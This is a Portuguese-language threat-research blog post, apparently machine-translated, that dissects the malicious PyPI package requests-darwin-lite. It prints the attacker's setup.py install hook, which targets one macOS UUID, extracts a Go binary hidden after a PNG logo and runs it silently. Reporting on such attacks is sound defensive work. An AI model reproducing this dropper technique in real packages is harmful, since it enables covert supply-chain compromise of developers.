Categories: AMEAÇAS ATUAIS

Binário Go malicioso entregue via esteganografia em PyPI

O pacote foi chamado requests-darwin-litee parecia ser uma bifurcação do sempre popular requestspacote com algumas diferenças importantes, mais notavelmente a inclusão de um binário Go malicioso compactado em uma versão grande do requestslogotipo PNG da barra lateral real, que o autor pretendia ser.

O ataque

Como mencionado anteriormente, este pacote é um fork requestsque usa um setuptoolsatributo chamado

cmdclassque permite ao autor personalizar diversas ações durante a instalação do pacote. No caso de requestscmdclassé empregado para personalizar como os testes são executados quando executados especificamente usando comandos de configuração. Eles implementaram testes paralelizados para otimizar o desempenho com base no número de núcleos de CPU disponíveis na máquina, aumentando a eficiência dos testes durante o desenvolvimento. Vamos dar uma olhada rápida em uma parte do arquivo requestslegítimo setup.py:

# --- CLIPPED ---

class PyTest(TestCommand):
    user_options = [("pytest-args=", "a", "Arguments to pass into py.test")]

    def initialize_options(self):
        TestCommand.initialize_options(self)
        try:
            from multiprocessing import cpu_count

            self.pytest_args = ["-n", str(cpu_count()), "--boxed"]
        except (ImportError, NotImplementedError):
            self.pytest_args = ["-n", "1", "--boxed"]

    def finalize_options(self):
        TestCommand.finalize_options(self)
        self.test_args = []
        self.test_suite = True

    def run_tests(self):
        import pytest

        errno = pytest.main(self.pytest_args)
        sys.exit(errno)

setup(
    # --- CLIPPED ---
    cmdclass={"test": PyTest},
    tests_require=test_requirements,
    extras_require={
        "security": [],
        "socks": ["PySocks>=1.5.6, !=1.5.7"],
        "use_chardet_on_py3": ["chardet>=3.0.2,<6"],
    },
    project_urls={
        "Documentation": "<https://requests.readthedocs.io>",
        "Source": "<https://github.com/psf/requests>",
    },
)

Trecho do arquivo requestsdo pacote legítimosetup.py

Podemos ver claramente aqui um uso legítimo para o cmdclassatributo. Agora vamos dar uma olhada nas mesmas partes do arquivo requests-darwin-litedo pacote malicioso setup.py:

# --- CLIPPED ---
class PyInstall(install):
    def run(self):
        if sys.platform != "darwin":
            return 
        
        c = b64decode("aW9yZWcgLWQyIC1jIElPUGxhdGZvcm1FeHBlcnREZXZpY2U=").decode()
        raw = subprocess.run(c.split(), stdout=subprocess.PIPE).stdout.decode()
        k = b64decode("SU9QbGF0Zm9ybVVVSUQ=").decode()
        uuid = raw[raw.find(k)+19:raw.find(k)+55]
        
        if uuid == "08383A8F-DA4B-5783-A262-4DDC93169C52":
            dest = "docs/_static/requests-sidebar-large.png"
            dest_dir = "/tmp/go-build333212398/exe/"
            with open(dest, "rb") as fd:
                content = fd.read()

            offset = 306086
            os.makedirs(dest_dir, exist_ok=True)
            with open(dest_dir + "output", "wb") as fd:
                fd.write(content[offset:])

            os.chmod(dest_dir + "output", 0o755)
            subprocess.Popen([dest_dir + "output"], close_fds=True, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
            install.run(self)
setup(
    # --- CLIPPED ---
    cmdclass={
        "install" : PyInstall,
        "test": PyTest,
        },
    tests_require=test_requirements,
    extras_require={
        "security": [],
        "socks": ["PySocks>=1.5.6, !=1.5.7"],
        "use_chardet_on_py3": ["chardet>=3.0.2,<6"],
    },
    project_urls={
        "Documentation": "<https://requests.readthedocs.io>",
        "Source": "<https://github.com/psf/requests>",
    },
)

O setup.pyarquivo do requests-darwin-litepacote malicioso

Nessa bifurcação maliciosa, o invasor inseriu outro item no cmdclassdicionário chamado PyInstall, que foi executado durante a instalação do pacote. Olhando, PyInstallpodemos ver que eles visam especificamente darwinsistemas , ou macOS. Se este pacote estiver instalado em um sistema macOS, ele decodifica uma string codificada em base64 e a executa como um comando. Essa decodificação base64 ioreg -d2 -c IOPlatformExpertDeviceé então usada para coletar o UUID do sistema. Em seguida, ele executa uma verificação em um UUID específico. Se esta verificação falhar, nada acontece. Em outras palavras, eles procuram uma máquina muito específica para a qual já conhecem o UUID.

O fato de estarem atrás de um UUID específico é interessante e pode ter várias implicações. A primeira e mais óbvia é que este é um ataque altamente direcionado e os invasores já pré-determinaram o sistema alvo e obtiveram seu UUID de alguma outra forma. Por outro lado, podem ser os invasores que estão apenas realizando testes operacionais em sua própria infraestrutura, testando os mecanismos de implantação de malware. Independentemente disso, se for a máquina que procuram, eles leem os dados do arquivo "docs/_static/requests-sidebar-large.png".

Isso é interessante porque o requestspacote legítimo vem com um arquivo semelhante chamado docs/_static/requests-sidebar.pngque pesa cerca de 300kB e é o logotipo real do pacote:

O requestslogotipo do projeto

Olhando para a versão “grande” que o invasor enviou com o pacote, vemos que ela tem cerca de 17 MB! “Grande” é um eufemismo para um PNG e altamente suspeito neste contexto. Podemos executá-lo filee ver se ele é reconhecido como um arquivo PNG:

$ file requests-sidebar-large.png
requests-sidebar-large.png: PNG image data, 1020 x 1308, 8-bit/color RGBA, non-interlaced

No entanto, dado que temos o código-fonte, podemos ver que o invasor lê esse arquivo como dados binários e depois extrai uma parte dele de um deslocamento. Tecnicamente, isto é considerado uma forma de esteganografia. Eles estão ocultando dados – ou, neste caso, simplesmente anexando dados – ao final de um arquivo PNG. Esta forma de esteganografia está longe de ser nova, mas seu sucesso reside na sua simplicidade e no fato de que os dados extras não interferem na renderização normal da imagem. Assim, a imagem parece normal tanto para o software quanto para o usuário final, embora carregue dados adicionais. Depois de extrair os dados ocultos, eles gravam o pedaço em um arquivo local, executam chmodpara torná-lo executável e, finalmente, executam-no silenciosamente com subprocess.Popen.

Conforme mencionado anteriormente, os dados binários ocultos neste PNG são binários Go. Ainda não fizemos engenharia reversa, mas vários fornecedores do VirusTotal o identificam como OSX/Silver . Silver parece ser uma estrutura C2 emergente que compartilha semelhanças com o Cobalt Strike e é preferida por invasores de todas as capacidades por sua baixa barreira de entrada e menor perfil de detecção devido ao seu status menos conhecido.

É importante notar que as duas primeiras versões publicadas no PyPI (2.27.1 e 2.27.2) tinham o gancho de instalação malicioso com o PNG malicioso compactado em binário. Essas duas versões parecem ter sido retiradas do PyPI pelos autores. As duas segundas versões publicadas (2.28.0 e 2.28.1) tinham o gancho de instalação presente, mas removeram os bits maliciosos dele:

class PyInstall(install):
    def run(self):
        install.run(self)

O gancho de instalação modificado das requests-darwin-liteversões posteriores do

A versão 2.28.0 vem com o PNG compactado em binário, embora não pareça ter sido executado na instalação. O autor não retirou isso do PyPI. Finalmente, a versão 2.28.1, a última versão publicada, não continha nem o gancho de instalação malicioso nem o PNG compactado em binário e parecia benigna.

Após a descoberta, relatamos isso imediatamente ao PyPI, e todo o pacote, incluindo todas as versões, foi removido.

Conclusão

Só podemos especular por que o invasor puxou as versões com o gancho de instalação malicioso, mas decidiu deixar uma versão com o PNG malicioso compactado em binário e outra versão benigna. Talvez eles tenham deixado essas versões publicadas apenas o tempo suficiente para infectar seu alvo e depois colocaram o pacote de volta em um estado benigno. Talvez eles tenham deixado a versão com o binário malicioso porque pretendiam depender dele de outro pacote em algum outro momento, ou talvez até mesmo retirá-lo de outro software no futuro. De qualquer forma, temos mais um exemplo de invasores que recorrem a técnicas mais evasivas e complexas para distribuir malware em ecossistemas de código aberto.

Ninja

Na cena de cybersecurity a mais de 25 anos, Ninja trabalha como evangelizador de segurança da informação no Brasil. Preocupado com a conscientização de segurança cibernética, a ideia inicial é conseguir expor um pouco para o publico Brasileiro do que acontece no mundo.

Recent Posts

Wi-Fi de hotel virou armadilha: DNS poisoning captura credenciais corporativas de executivos em viagem

ReliaQuest expõe campanha global que compromete roteadores de Wi-Fi em hotéis e centros de convenções…

3 dias ago

Laundry Bear: alerta internacional expõe campanha russa que sequestra webmails Zimbra sem clique

CISA, FBI, NSA e agências dos Cinco Olhos alertam para campanha do grupo russo Laundry…

3 dias ago

AgentForger: falha no ChatGPT Agent Builder permitia sequestrar agentes de IA com um único link

Zenity Labs revela falha crítica no ChatGPT Workspace Agents (AgentForger) que permitia criar agentes de…

3 dias ago

HollowGraph: malware iraniano usa calendário do Microsoft 365 como canal de C2

Group-IB documenta o HollowGraph, malware que transforma eventos de calendário no Microsoft 365 em dead-drop…

4 dias ago

Stadler Rail recusa resgate de US$ 12 milhões ao grupo Everest após vazamento em fornecedor

Fabricante suíça de trens, com receita anual de US$ 4,9 bi, recusa pagar 10 milhões…

4 dias ago

JadeProx: operação com nexo chinês usa TriBack Loader contra hospitais, governos e universidades

Group-IB expõe operação JadeProx que ataca hospital vietnamita, chancelaria da Malásia e Congresso hondurenho com…

4 dias ago